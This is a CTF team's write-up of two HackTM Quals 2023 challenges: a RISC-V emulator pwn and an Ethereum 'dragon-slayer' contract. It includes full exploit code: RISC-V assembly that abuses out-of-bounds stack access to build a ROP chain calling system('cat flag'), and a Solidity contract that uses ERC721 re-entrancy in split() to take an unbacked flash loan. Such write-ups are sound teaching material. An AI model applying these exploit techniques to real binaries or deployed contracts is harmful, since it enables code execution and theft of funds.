HackTM Quals 2023
04 Mar 2023Happy new year! Recently DiceGang placed second in HackTM qualifiers, meaning we are invited to the finals in Romania in May. I worked on and solved two challenges, cs2100 (RISC emulator pwn) and dragon-slayer (blockchain). I wrote these up with clubby and AdnanSlef for required verification anyway, so here they are.
cs2100
The challenge presents us with a Risc-V emulator and executes code we send, dumping registers with each instruction execution. Memory accesses are not checked, so we can access relative to the sp
register to get OOB read/write on the stack of the emulator. Specifically, we can use the ld
and sd
instructions to read and write respectively. Also important to note is that we donโt get to interact with the program via stdin, which ends up slightly complicating our exploit.
All we need to do is do some exploring for valuable addresses using our OOB stack read. Notably -8(sp)
holds a pointer offset from the binary base (we need this since PIE is enabled), 24(sp)
holds a pointer offset from the libc base. Because stdin is โclosedโ, we cannot just pop a shell. To avoid having to do a lot of ROP to use open-read-write tactics, I just called system("cat flag")
. Of course, this requires the string cat flag
to be in memory where. I found a pointer on the stack after the saved RIP which pointed to a later segment on the stack, so I wrote the string cat flag
to where this was pointed, 264(sp)
. I also wrote in a null terminator after this string because there was already some nonzero data there.
Then, I wrote in a ropchain using ld
, taking care to place the pop rdi
gadget right before the pointer to the stack I had mentioned earlier. To fill in the space before that (where the saved RIP was), I just replaced it with a ret to start off the ropchain.
One small implementation detail is that the sub
instruction actually adds the value, and the add
instruction adds double the value of the second register (???).
_start:
lop:
ld s0, -8(sp)
li t0, -0x1120
sub s0, s0, t0
# s0 holds binary base
ld s1, 24(sp)
li t0, -0x24083
sub s1, s1, t0
# s1 holds libc base
li s2, 0x67616c6620746163
sd s2, 264(sp)
li s2, 0
sd s2, 272(sp)
mv t0, s1
li t1, 0x71d7f
add t0, t0, t1
#ret
mv t0, s0
li t1, 0x1016
sub t0, t0, t1
sd t0, 24(sp)
#pop rdi
mv t0, s0
li t1, 0x2399
add t0, t0, t1
sd t0, 32(sp)
#system
mv t0, s1
li t1, 0x52290
sub t0, t0, t1
sd t0, 48(sp)
I compiled this with riscv64-unknown-elf-gcc
.
dragon-slayer
We have to slay the dragon by purchasing a strong sword and shield from the item shop. After initial analysis we focused on the Bank and BankNote implementations to look for vulnerabilities.
BankNote implements minting by calling _safeMint
. _safeMint
presents the possibility of a re-entrancy attack, as it calls onERC721Received
of whatever address it is minting to.
This is the case in the split()
function of the Bank contract:
function split(uint bankNoteIdFrom, uint[] memory amounts) external {
uint totalValue;
require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");
for (uint i = 0; i < amounts.length; i++) {
uint value = amounts[i];
_ids.increment();
uint bankNoteId = _ids.current();
bankNote.mint(msg.sender, bankNoteId); // calls receiver function
bankNoteValues[bankNoteId] = value;
totalValue += value;
}
require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");
bankNote.burn(bankNoteIdFrom);
bankNoteValues[bankNoteIdFrom] = 0;
}
This function allows us to take a value at one index in the bankNoteValues array and split it into as many slots as we want. Note how the BankNote corresponding to the origin slot is burned after new BankNotes are minted. This means a re-entrancy attack is possible and we are free to do whatever we want with the origin BankNote.
Splitting our money alone will not suffice, as we cannot just create money out of thin air. However, we only really have to satisfy the condition that after all splits, our total value transferred is the same as the total value that is in the originating slot. We can split an unlimited amount of money into an arbitrary number of slots, and then, using our re-entrancy attack, transfer it back into the originating slot.
This allows us to essentially take a flashloan from the bank. Specifically, we split 2,000,000 ether from a slot owned by the attacking contract and transfer it to a slot owned by the knight. We then instruct the knight to purchase the stronger sword and shield, then slay the dragon before selling back the gear and paying back the loan by transferring 2,000,000 ether into the originating slot.
The final piece we needed to discover was how to get an initial banknote owned by our Solver which we could split()
. Without looking too deep, we could only get one by depositing money into the bank, with the problem being that we have no money. This could be accomplished by the having the Knight we own transfer us an item, some gold, or a banknote, but none of these functionalities were available.
It took a while to find out how to get a bank note owned by our solver address, but eventually we realized you could call merge()
on an empty array to be minted a banknote with zero balance on a vacuously true check for banknote ownership.
function merge(uint[] memory bankNoteIdsFrom) external {
uint totalValue;
for (uint i = 0; i < bankNoteIdsFrom.length; i++) {
uint bankNoteId = bankNoteIdsFrom[i];
require(bankNote.ownerOf(bankNoteId) == msg.sender, "NOT_OWNER");
bankNote.burn(bankNoteId);
totalValue += bankNoteValues[bankNoteId];
bankNoteValues[bankNoteId] = 0;
}
_ids.increment();
uint bankNoteIdTo = _ids.current();
bankNote.mint(msg.sender, bankNoteIdTo);
bankNoteValues[bankNoteIdTo] += totalValue;
}
With this in hand, we completed our Solver contract and slayed the dragon.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./openzeppelin-contracts/token/ERC721/IERC721Receiver.sol";
import "./Bank.sol";
import "./Setup.sol";
contract Solver is IERC721Receiver {
Bank public bank;
Knight public knight;
Setup public setup;
uint[] public empty;
uint[] public amounts;
uint public iterCount;
constructor(Setup _setup, Bank _bank, Knight _knight) IERC721Receiver() {
setup = _setup;
bank = _bank;
knight = _knight;
iterCount = 0;
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
if (iterCount == 2){
bank.transferPartial(2, 2_000_000 ether, 1);
knight.bankDeposit(1); //4
bank.transferPartial(1, 2_000_000 ether, 4);
knight.bankWithdraw(4);
knight.buyItem(3);
knight.buyItem(4);
knight.equipItem(3);
knight.equipItem(4);
knight.fightDragon();
knight.fightDragon();
knight.sellItem(3);
knight.sellItem(4);
knight.bankDeposit(2_000_000 ether); //5
knight.bankTransferPartial(5, 2_000_000 ether, 1);
}
iterCount += 1;
return IERC721Receiver.onERC721Received.selector;
}
function solve() public {
setup.claim();
bank.merge(empty); //1
amounts.push(2_000_000 ether); //2
amounts.push(0 ether); //3
bank.split(1, amounts);
}
}